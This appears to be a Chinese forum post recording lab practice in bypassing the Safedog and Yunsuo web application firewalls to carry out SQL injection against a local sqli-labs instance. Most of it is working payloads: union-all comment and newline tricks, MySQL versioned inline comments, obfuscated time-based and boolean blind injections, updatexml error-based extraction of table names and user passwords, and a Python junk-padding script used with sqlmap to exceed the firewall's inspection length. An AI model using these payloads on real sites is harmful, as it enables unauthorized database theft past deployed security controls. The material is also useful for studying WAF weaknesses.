waf-bypass【通过】

安全狗篇

前言

之前一次意淫遇到sql注入,被waf拦截的没脾气,一般的bypass试了也没绕过,还是太菜了,在github上找了一篇文章,练习bypass。

bypass

bypass安全狗-联合注入

安全狗版本 4.0.2655

  1. 特殊运算符

    |表示按位或

    -号也可绕过安全狗

  2. 内联注释(可惜我遇到的waf见到这个直接杀掉。。。)

    /*!/*!/

    这样直接拦截。

    ok,这样是可以的。起初我还有一个小疑问就是中间的数字是啥,其实如果仔细看导出的sql的话,我们就会发现有时候会有这样的语句。这是mysql对标准sql的拓展,在注释中加入!,加上版本号后只有当前mysql版本大于标注的版本号注释内的sql才会执行。换句话说这个注释就是mysql版本号。版本号固定5位,否则注入会出现错误。而这里为什么是11440其他的为什么不行,那就是规则库的问题了。

  3. 注释绕过

    union select注释+换行 拦截

    union all select注释+换行 不拦截

    两者的区别在于union会将多次查询结果作并集,而union all则会将多次查询原封不动输出,问题不大。

  4. 注入

    作者给了几个payload,实测还没失效的

    1)括号

    2)反引号

    http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.`tables` where table_schema='security'--+
    

    还有

    http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.tables where table_schema='security'--+
    

    过了from后面的过滤就好办了

    http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(column_name),3 from `information_schema`.columns where table_name='user'--+
    

    http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,username,password from `users` limit 1 --+
    

bypass安全狗-盲注

  1. 安全狗过滤 xx if字样,其中xx可以是andor。无论后面如何混淆,如下,都会拦截

    http://192.168.1.11/sqli-labs/Less-9/?id=1%27%20and if((substr((select%20hex(user/**/(/*!*/))),1,1)%3E01),sleep/**/(/*!5*/),1)--+
    

    而在and后可以加入奇数个特殊符号可以过狗。如

    http://192.168.1.11/sqli-labs/Less-9/?id=1%27%20and~~~if((substr((select%20hex(user/**/(/*!*/))),1,1)%3E01),sleep/**/(/*!5*/),1)--+
    

    还有!!!,---。但在测试~~~的时候,我设定的是延时5秒,但明显使用~~~延时了10秒。至于原理,暂未找到资料。

    接下来的注入

    http://192.168.1.11/sqli-labs/Less-1/?id=1%27%20and!!!if(substr(hex((select group_concat(table_name) from `information_schema`.tables where table_schema =0x7365637572697479)),1,1/**/)>5,sleep/**/(/*!2*/),0)--+
    

    需要注意的是sleep函数的绕过,以及security的hex编码。

    group_concat(table_name)的结果为656D61696C732C72656665726572732C756167656E74732C7573657273
    需要遍历,比较耗时。

  2. bool盲注

    作者使用的payload为

    and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r
    

    不能加引号。

    但其实不用select,如

    http://192.168.1.11/sqli-labs/Less-8/?id=1%27%20/*!%26%26*/ substr(unhex(hex(user/**/(/**/))),2,1)='o'--+
    

    就可以加引号且未拦截。

  3. 报错

    一般的注释绕过如下

    http://192.168.1.11/sqli-labs/Less-2/?id=1%20/*!%26%26*/%20/*!11440updatexml*/(1,concat/**/(0x7e,user/**/(/**/),0x7e),1)--+
    

参考

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI

云锁篇

前言

本来想正儿八经来写云锁bypass的,傻乎乎试了几个payload发现,嗯?挺好过的呀,再次确认了一下,发现增强防护没开,尴尬了。。。正好今天t00l坛子里面提到了云锁注入,可以用垃圾数据填充绕过,之前没玩过,了解一下。

bypass

POST

  1. 云锁版本

    增强防护已开

  2. 首先简单介绍垃圾数据填充原理。

    市面上一些waf对http流量进行检测的时候会存在一个检测长度,如果数据包长度超过waf检测长度,就会不得已将数据包转发到后端。这样是为了避免waf的检测效率太慢而影响正常业务,也是为了防止waf缓冲区溢出。

  3. 下面我们来测试一下。正常POST请求

  4. 非法POST请求

  5. 生成一些垃圾数据

    import random
    
    ls = [chr(i) for i in range(33,125)]
    ls.remove("#") # 防止url被注释,话说这个#号还有点东西,最后再说。
    ls.remove("*") # 方面使用sqlmap报数据。
    s = ""
    for i in range(10000):
        s = s+random.choice(ls)
    print(s)
    

  6. 填入数据后就可绕过

  7. 直接用sqlmap测试

    检测到waf

tips

在POST测试的时候,发现如下payload可绕过waf

注意中间的#.猜测云锁到#时将后内容当作注释,直接没有检测。

GET

  1. 现在存在的问题就是POST数据包长度没有限制,而GET长度是存在限制的,如果过长那么会报错,过短又不能达到垃圾数据绕过的目的。

  2. 本人在测试的payload为

    &id=1%27%20and%20/*!11440updatexml*/(1,concat(0x7e,(/*!11440select*/+group_concat(table_name)/**/from+information_schema.tables+where+table_schema=0x64767761),0x7e),1)--+&Submit=Submit
    

    将前面的1去掉之后发现竟然可以绕过waf。

    而去掉一些垃圾数据后

    可见垃圾数据可以扰乱云锁的正则规则。进而降低绕过难度。

  • 通过
  • 未通过

0 投票者